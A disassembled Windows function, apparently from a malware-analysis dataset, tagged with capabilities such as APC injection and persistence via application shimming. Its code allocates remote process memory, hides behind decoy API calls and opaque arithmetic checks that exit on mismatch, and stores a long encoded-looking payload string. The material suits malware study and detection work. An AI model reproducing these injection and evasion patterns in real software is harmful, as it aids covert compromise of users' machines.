Function at 0x1000fa70
Capabilities:
Create thread
Get file size
Get system information on windows
Inject apc
Persist via application shimming
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov byte [ebp - 9], 0
push 0x1bd
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
lea ecx, [ebp - 0x7c]
push ecx
call fcn.10014210
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.100148a0
add esp, 8
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x68], 0x3000
mov dword [ebp - 0x6c], 0x100
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0x22f
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
lea ecx, [ebp - 0x84]
push ecx
call fcn.10014210
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.10014980
add esp, 0x1c
mov dword [0x100ca988], eax
cmp dword [0x10070ae4], 0x1b7ed917
jne 0x1000fceb
push 0
push 0
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
push 0
push 0
push 0
push 0x100dc530
push 0
push 0x100dc56c
push 0
push 0x100dc5a8
call dword [sym.imp.KERNEL32.dll_CompareStringEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessGroupAffinity]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x100dc5e0
call dword [sym.imp.USER32.dll_OemToCharW]
push 0
push 0
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PrivateExtractIconsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileExNuma]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0x100dc5f0
push 0
push 0x100dc62c
push 0
call dword [sym.imp.KERNEL32.dll_FindStringOrdinal]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
push 0
call dword [sym.imp.USER32.dll_SetDoubleClickTime]
push 0
call dword [sym.imp.USER32.dll_UnloadKeyboardLayout]
push 0
call dword [sym.imp.USER32.dll_IsCharUpperW]
push 0
call dword [sym.imp.USER32.dll_IsGUIThread]
push 0
push 0
push 0x100dc65c
push 0x100dc684
push 0
call dword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
push 0
push 0x100dc6ac
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSizeEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
call dword [sym.imp.USER32.dll_GetDisplayAutoRotationPreferences]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 4
push 0x3000
push 0x100
push 0
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x100ca7f4], eax
mov byte [0x100c8855], 1
mov edx, 4
imul eax, edx, 0x2d
mov dword [eax + 0x100c8868], 0xee0
push 0x293
push 0x10008570
lea ecx, [ebp - 0x8c]
push ecx
call fcn.10014210
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.10014310
add esp, 8
mov dword [ebp - 0x10], 0x1edc
mov dword [ebp - 0x30], 0x1072
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x20], 0x12c8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 8], 0x633
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 8]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 8]
add eax, 0x1af1
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0xf18
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x30]
add edx, 0x1e03
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
sub ecx, 0x1a07
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x38], 0x492
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x38]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x34]
sub eax, 0x1e7b
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x15ca
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1905
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
add eax, 0xf2c
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, 0x1157
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x18b
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0xbd3
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x222
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0x1516
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x93e
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x210c
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000003
jns 0x1000fedb
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x1000feec
mov eax, dword [ebp - 8]
add eax, 0xcec
mov dword [ebp - 8], eax
jmp 0x1000fef8
mov ecx, dword [ebp - 8]
sub ecx, 0xcec
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x1ee8
mov dword [ebp - 0x38], edx
mov eax, 4
imul ecx, eax, 0x77
mov edx, dword [0x100ca988]
mov dword [edx + ecx], str.gVt_YbB4hHLWikRuq0gXlykj_2DwbTjh9Ry1LZw99_hVgo2Y5LK4rpDNAlgLD72woEyvvmvZL7YaSuiS_J01WGmhuM_00xrbA6bVMpwid2GPw6DktIdm_zbfJu0IPq8WeK_22nMgISsTJHfqbqo2mLmKSpxlzmj7t4toXNAzmICjYZsPEi_uAlDG2uOEvOxvNqunX1D_IrnzGwlsbCZ9DAL_PQyHSNs4vDpBG6dJnqHsD9onYrxw7iRrGNrfIEnj_wVulx0TJTOVZa4YJdAWX3fpqNB1g0Kj6LaFVlrQj5RlF2PTdnkzDXVRUWLv592yomjLzQNjdWvUpGfwtMUkFGJTdkAeKHaabjNwZEbkd9cfaW2otDq8uM_2S34O9pkDzrvrslpyOm03AuL7LYu0zGz05Lr2jtUSbXPliF8Y8Len4jvSWGOnSqqa5ROH8cDbTBIblL6kfcxm0Unohcpc7Hxs5P9IsioEsTwCvJyU5G6uo_niCAxo5T32KIiAyQn6_pP3pbbScBEhvnBUhF3MWmBAGjij8_aGCBU3YVJCcGaofX0gVQ1a_ucEYxDzxfSSvosTVKj5Iig3EHCPt_bmWiJK0_PnqTyB5WK43VOHNadpKBSRkXEMs5ZMAsMl8KKxagmGIA7UYpqCqu9cji5fQOWRS9KibdNkqdE8F3dqLLeP_t51nEw5XnQpFSzrex7Um36_Cg_WGaYO1ORjmEPDdZLh62fZv9ZzBKW2qpkW2cXZSvwnnblITcEhpJPcFS91lz7NwaWC8n3Qc9PhSVztfX7NLadY8KimBBQzCMGX_JiiA2NMm15u_dIea9Ozu2C6K4XWtrAaGg1xQ5XIsqVjLFwOKdhlm7LyHPSwY7jVtYhFKfwQMvxOE6DGgQFawPasaDQNDKJAnXX06x4J0eQNiE4xOn0r7QfXlD0mlak7Mwc0nDe3rTfv4yeDqi8IO_uc5Mf4yvw4rr7eYvJNSFocd9FgMMlEfBkfgI7NA9Pny0CZxPu4TCMfKuVPppuepBP1AWAfySlhxpt1LzI_HbYj22IjUkwhWfga7kDBVK220EFc8HjmgsEBNPKmxnj3FAe5wr8j8y854x486_OlIWyIVCeCBKYm02HXbT1sxZAoghYlGqTLf_8u4KzL_rrWzd3XHBwKsWooGxppcpaKIJKWYjxbfZoWvwgMDzQPno5YCuW0AwSnh8EAYF5735IASJR7aRoQRj6fBOFQuG2ms9PUUoA3pGfLvV6ZmJuNoXb5X5SL1sR_w0CggMYJq6eVvF5pFhnnch8rceH92Ko4yZcecqFWR8KUGo2nNT84uTb63QVbSyaGYclFZaA4o0sEIH0qmbW6dYCDG1V0YZgGZoezoQEnU9GJ8nufK9Evah54JdR1KY2oZkPEZUSJvQr_oMrEYpMjQQBsTm5RjmhNllPS9BcVqAOpYAWwXXMBYjChTE8Fzu1vqdQZTVvZ5lM6S1txjCRhe3x6E1U8nBZbu3r832RoLQgq8XsxYxYBOJTtxfm59ZlDwd6u1JvZQVcF_p0tmxHBRhhj6Ba6buOpeaxZFSHR92KpzKYcaF8aor0nZLZvyvK9NtFTQ7ZUtfdRuFQvSAIKXZUh8h5uL9VlyVjMFhdPm04FHsRK_3ul5vSPfTQUqrQ2AGb7qwRQPBdwmQOUdmMV3RvPH8PwD8JxCB9biieBlbovX2vqlziRoIgimmYcTMeFTFF_dB5zza1BkiuSZp7biyIGZ1lul7RuFMiHM9tJ4vqtQIRj0uIefG1guH1epuJnongw5ZSGOyb9nA4Yy5VvxqCHO_maOCo71RA8KHLH5UuqBZo7WvAy8Cfrlwg2o6jGsfbh9LC1hXlSDqcRpjWQBzKJPy5nDbqveLM902tkLahjoxjQU59oLPoBMm3LYS1RWZFvk9eIudPEHNFvpRWRI1yqTGNZmYzVpF9b1N0eA9et3i81re6SoB7ESdUpAHyXspgX6bE0gPON0jFbd0RqAtGMrfjZwMNwgBqioBQPLFTaCDDkJQrznP4_1LOlRFkrZL_ZTUM_apatxZb6Gyab0CyJa1DO56B9kCs8K5m4PJuE2h_vvn7qdNkXvHRYCoW2kn1a1y4koYJ1YtmR7Y73wS5CkUY3y3IcY8B9ybRfvNQzNlafGfisPHfBBI9k5c1ZvtNcvpTQ0tRFaaKkxSuY5peZCDsqCRi6xGV1wNvLZxvzY5kXJ7xmBKIcsEBVz95y1JaTbDvDy3fcA8FesgbLAUejTCJZXDXeIUjIjEcjptCmAz2mRmO0W5thW7wHWShIG0HOAMWWp2oLcHaeAr8iBXdqr7kcYrNi9dkX_DzETqEySy0ElCgSNeuK1AaXqOwCGlPgHUvFp_gtsRyNolLIvN7l2LzvGBPJMpog5lGwkTUa9k7OCOPEQkw4iQU9nSzToZc6vNijxJxHwnwbpehx7vqEzT8ostMVq8RDnLs1uRFgCKT1fStHBZE5gtZDONQSOcFx0mk2KQI37EHlZLcuZOtRD2eEf_o3xDIxEDGjt6aiE_pkyFV1lmgV22Y5PZGiIYxbA83vfmi0R0N0L149HoekESig7AepSU8LnMw5pJVbCnrKeHNOQuaw2xDy7D1daXnXgmLXYBfjoK9ahAgmEWBiN4foIF8nUbCHHgOWrtRUNUkr6YCoksshz1TWHqejTvvzCnpAx9WCsk95M1ICzCm38tqntEdYO4ZU9K9kR2RT0PmJ_pYBzsY3w3x1KrzY9xa2qNjSKzRdbeyiVPLS9JjBvxe7h67RUEEnnCqharnW8PY1oWM5GKFrKMgrjSHewejgLD39_Jq3pFuCnsZFQEo7NpO9Jne6vUBirfIKsdt9H5t5t9ZDouszg5qEVxfRJ2Kpx10R1h5uO_JKZIL_hnjDT8jMuUVZWF1gCU2RYwb8xstukntfB48IMzjv97n3HUfMRtl5_L8Jse6VLX267hD9ZKwlDAbDRpffxnYMqIPy8lC3ljKIAaGWIQF6tS7LtrYx9jqZKdiOhq9q9aGJBeF88AtyNSuARKHwrJxh0xPy6PDo3_W91iA2s28aJUFZtqFw3zmb3lR2KlinoIi8u4l_fDhnGn2jRhdyLr2IFrM6iRrmVfJSjdjHxHrvYu3PZt1sW7EMpBtO7C1HC5YywyGAZnrrpa1iEK3yAlhwO6e13xPCgtCfmTizNFUHjQSiiqd8N1bTBjMSR8xUsBVD8Kpxkj7z0h2yrkUEPht1KzQwG2oXmloGnLo1VTwzQsPAqJ_ePBbY0RHKY8CG1tKwU922FhNxZsZxZ_2zR75BDTwC_ol1TTB0D89xZl2EV19CuMTkpOLlj8Sxa0MrpjEbDlJv_JV8XM2DeliUntURCIKaz7VQFt7sxyTJQ8zvRsgpl_aUELg56xGyqZ_Vsm_nSDNXmiQFJmOHlMIW6AenXbmn5kqILww52w3gf8DYPnafStQjSqMHh2D2p2ELBGe4yLXQEYnwKLy364Q7_R5uDWwqE2f_bpER0fbxjCWJxcKroFWtlxalQ90A3FfWFJ8Fv5jE8PkkNYG9Q4u3D_dztrADJ8Fufxa0URuYj1TYHmhY4xdOGvNnNXx_kP_cJK67BM43K6kYwLGuObWpUFWttZPaTOxF6LfCsSIZXogzvUsQh0yBP5kT871rPt72l8Z5D2EQ9wAQF4OaE0T5A2XLMp2R2muKyhM1uZdSPu5OHeYTpY_FDnL728hnysfpooviJ4rycjedCkGbDU80TenzTVBqXRkIQrRYMqt5rw_xFvZob6vgEqBfMziIAid33jEUYd2WQxqyVbQOufgQikTnJJEuyB70nID2k3Etd9qMDrp5ot8zOw6CmaeCFZBVHVmd1IsNvurtriZkGCPyO69Ka5AzDADgQZhVUL8OItNTMplMfGA_Epn4DD0Ixs5HRfj0_1f2Hrcw1r0e5RbnrAxGvlF7sFM2VRpH7h_PgYQioR62DjUoVIaDw77S0Cv_hDtn3LnsJ07toCBQXBeWBiEjpt9vYa4YksL_ZEfoVqsIO_fVIGcUcszoyaIr
push 0x1c0
push 0x1000b700
lea eax, [ebp - 0x94]
push eax
call fcn.10014210
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10014310
add esp, 8
mov dword [ebp - 0x24], 0x1d5f
mov dword [ebp - 0x1c], 0xe47
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], 0x3b0
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x50], 0
jmp 0x1000ff81
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], 0x36
jge 0x1000ff92
mov eax, dword [ebp - 0x2c]
add eax, 8
mov dword [ebp - 0x2c], eax
jmp 0x1000ff78
mov ecx, dword [ebp - 0x24]
add ecx, 0x3d9
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x74], 0x1099
mov edx, dword [ebp - 0x28]
add edx, 0x249d
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], 0xcd3
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0x14f9
mov ecx, dword [ebp - 0x28]
add ecx, 0xc68
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x44]
sub edx, 0x1a26
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], 0x8ee
mov eax, dword [ebp - 0x40]
add eax, 0x1385
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0xd90
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x44]
add edx, 0x1f7a
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
jmp 0x1001002a
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x47
jge 0x1001003b
mov ecx, dword [ebp - 0x58]
sub ecx, 5
mov dword [ebp - 0x58], ecx
jmp 0x10010021
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x48]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x1920
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x26a4
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0x2a5
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x3c]
add eax, 0xcb6
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 0x20f5
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x26f2
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x3c], 0xffffebc1
jne 0x100100e4
cmp dword [ebp - 0x74], 0x1099
jne 0x100100e4
cmp dword [ebp - 0x24], 0x2cda
jne 0x100100e4
cmp dword [ebp - 0x1c], 0x4a2
jne 0x100100e4
cmp dword [ebp - 0x28], 0x3105
jne 0x100100e4
cmp dword [ebp - 0x40], 0x1da
jne 0x100100e4
cmp dword [ebp - 0x2c], 0x4572
jne 0x100100e4
cmp dword [ebp - 0x44], 0x1227
jne 0x100100e4
cmp dword [ebp - 0x48], 0xfffffb5e
jne 0x100100e4
cmp dword [ebp - 0x58], 0xfffffe9d
je 0x100100ec
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100ca988], 0
je 0x10010107
cmp dword [0x100ca7f4], 0
je 0x10010107
mov dword [ebp - 0x60], 1
jmp 0x1001010e
mov dword [ebp - 0x60], 0
mov al, byte [ebp - 0x60]
mov byte [ebp - 9], al
cmp dword [0x10070ae4], 0xb6f21b
jne 0x100101ac
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TransmitCommChar]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
push 0
push 0
push 0x100dc6e0
push 0
push 0
push 0
push 0
push 0x100dc708
call dword [sym.imp.KERNEL32.dll_GetDurationFormatEx]
push 0
call dword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret